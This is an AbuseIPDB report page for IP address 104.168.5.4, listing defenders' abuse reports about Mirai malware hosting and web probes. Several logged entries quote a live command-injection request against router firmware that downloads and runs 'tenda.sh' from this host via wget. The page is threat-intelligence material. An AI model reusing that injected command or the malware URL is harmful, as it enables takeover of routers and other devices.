JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 104.168.5.4

104.168.5.4 was found in our database!

This IP was reported 26 times. Confidence of Abuse is 17%: ?

17%

ISP	VPS ACE
Usage Type	Data Center/Web Hosting/Transit
ASN	AS36352
Hostname(s)	104-168-5-4-host.colocrossing.com
Domain Name	vpsace.com
Country	🇺🇸 United States of America
City	Buffalo, New York

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 104.168.5.4

Whois 104.168.5.4

IP Abuse Reports for 104.168.5.4:

This IP address has been reported a total of 26 times from 21 distinct sources. 104.168.5.4 was first reported on October 2nd 2021, and the most recent report was 1 month ago.

Old Reports: The most recent abuse report for this IP address is from 1 month ago . It is possible that this IP is no longer involved in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇺🇸 TPI-Abuse	2026-06-05 11:27:12 (1 month ago)	(mod_security) mod_security (id:210492) triggered by 104.168.5.4 (104-168-5-4-host.colocrossing.com) ... show more (mod_security) mod_security (id:210492) triggered by 104.168.5.4 (104-168-5-4-host.colocrossing.com): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Jun 05 07:27:06.487871 2026] [security2:error] [pid 24077:tid 24077] [client 104.168.5.4:47400] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "120"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.flyingcardcompany.com"] [uri "/.git/config"] [unique_id "aiKyilGTREXvzpG-rfifGAAAAAM"] show less	Brute-Force Bad Web Bot Web App Attack
Anonymous	2026-06-05 07:00:58 (1 month ago)	2026-06-05 01:00:03,317 fail2ban.actions [3625835]: NOTICE [tor] Ban 104.168.5.4 2026-06-05 ... show more 2026-06-05 01:00:03,317 fail2ban.actions [3625835]: NOTICE [tor] Ban 104.168.5.4 2026-06-05 04:00:05,885 fail2ban.actions [3625835]: NOTICE [tor] Ban 104.168.5.4 2026-06-05 06:00:11,603 fail2ban.actions [3625835]: NOTICE [tor] Ban 104.168.5.4 2026-06-05 08:00:21,049 fail2ban.actions [3625835]: NOTICE [tor] Ban 104.168.5.4 2026-06-05 10:00:58,600 fail2ban.actions [3625835]: NOTICE [tor] Ban 104.168.5.4 show less	Brute-Force
🇩🇪 big-cloud.nl	2026-06-05 04:05:56 (1 month ago)	Try to access /xmlrpc.php	Web App Attack
🇬🇧 Oakley	2026-06-05 00:39:20 (1 month ago)	(antiscrape_rule) Web application abuse detected 104.168.5.4 (US/United States/104-168-5-4-host.colo ... show more (antiscrape_rule) Web application abuse detected 104.168.5.4 (US/United States/104-168-5-4-host.colocrossing.com): 5 in the last 900 secs show less	Hacking
Anonymous	2024-01-25 11:47:27 (2 years ago)	Malware Hosting	Hacking
🇨🇿 akac	2024-01-24 14:32:51 (2 years ago)	Added into the Abuse.ch URLHaus IOC database for distributing malware with tags: mirai. Source: http ... show more Added into the Abuse.ch URLHaus IOC database for distributing malware with tags: mirai. Source: https://urlhaus.abuse.ch/url/2750799/ show less	Hacking Exploited Host
🇬🇷 JCB	2024-01-24 07:11:55 (2 years ago)	Hosting malware: wget http://104.168.5.4/tenda.sh	Hacking Exploited Host Web App Attack
🇵🇱 rafamiga	2024-01-24 05:38:55 (2 years ago)	Malware host. Jan 23 18:40:20 mreq-N03 haproxy[1242]: 185.224.128.191:45078 [23/Jan/2024:18:40:20.2 ... show more Malware host. Jan 23 18:40:20 mreq-N03 haproxy[1242]: 185.224.128.191:45078 [23/Jan/2024:18:40:20.229] port80 nomatch/<NOSRV> 0/-1/-1/-1/0 503 213 - - SC-- 1/1/0/0/0 0/0 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd%20%2Ftmp%3B%20rm%20-rf%20%2A%3B%20wget%20http%3A%2F%2F104.168.5.4%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B.%2Ftenda.sh) HTTP/1.1" show less	Hacking Exploited Host
🇯🇵 Marizapalos	2024-01-23 08:22:02 (2 years ago)	Possibly hosting malware	Exploited Host
🇳🇱 FutureFm	2024-01-23 06:30:06 (2 years ago)	Serves mallware	Hacking Exploited Host
🇨🇿 akac	2024-01-23 02:14:44 (2 years ago)	Added into the Abuse.ch URLHaus IOC database for distributing malware with tags: mirai. Source: http ... show more Added into the Abuse.ch URLHaus IOC database for distributing malware with tags: mirai. Source: https://urlhaus.abuse.ch/url/2750433/ show less	Hacking Exploited Host
🇬🇧 33three	2024-01-22 12:08:14 (2 years ago)	malware host	Hacking
🇫🇷 shadowpgp	2024-01-22 11:17:27 (2 years ago)	ET WEB_SERVER Possible CVE-2014-6271 Attempt in Headers	Hacking
Anonymous	2024-01-21 12:18:33 (2 years ago)	Possibly hosting malware found in request from 185.224.128.191: HTTP Req: GET /cgi-bin/luci/;stok=/ ... show more Possibly hosting malware found in request from 185.224.128.191: HTTP Req: GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd%20%2Ftmp%3B%20rm%20-rf%20%2A%3B%20wget%20http%3A%2F%2F104.168.5.4%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B.%2Ftenda.sh) HTTP/1.1 Time: Sat, 20 Jan 2024 18:27:59 +0100 Unauthorised web server access and/or looking for web app vulnerabilities. Port 80 User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 show less	Hacking Exploited Host Web App Attack
🇵🇱 rafamiga	2024-01-21 06:51:49 (2 years ago)	Exploit probe destination. Jan 20 18:24:19 mreq-N03 haproxy[1242]: 185.224.128.191:54240 [20/Jan/20 ... show more Exploit probe destination. Jan 20 18:24:19 mreq-N03 haproxy[1242]: 185.224.128.191:54240 [20/Jan/2024:18:24:19.031] port80 nomatch/<NOSRV> 0/-1/-1/-1/0 503 213 - - SC-- 1/1/0/0/0 0/0 "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd%20%2Ftmp%3B%20rm%20-rf%20%2A%3B%20wget%20http%3A%2F%2F104.168.5.4%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B.%2Ftenda.sh) HTTP/1.1" show less	Exploited Host

Showing 1 to 15 of 26 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇫🇷 185.185.82.158

🇺🇸 104.234.53.130

🇮🇩 103.245.38.203

🇨🇦 99.252.20.159

🇫🇷 51.91.120.64

🇳🇱 45.148.10.151

🇺🇸 44.204.106.115

🇺🇸 43.130.37.243

🇸🇬 216.67.230.53

🇨🇭 209.99.190.113

🇳🇬 152.32.142.138

🇩🇪 139.59.152.154

🇮🇳 103.167.172.122

🇨🇦 54.39.0.191

🇨🇦 51.161.37.177

🇺🇸 44.119.122.126

🇺🇸 44.46.189.144

🇺🇸 40.124.173.235

🇨🇳 14.116.184.171

🇺🇸 52.160.149.129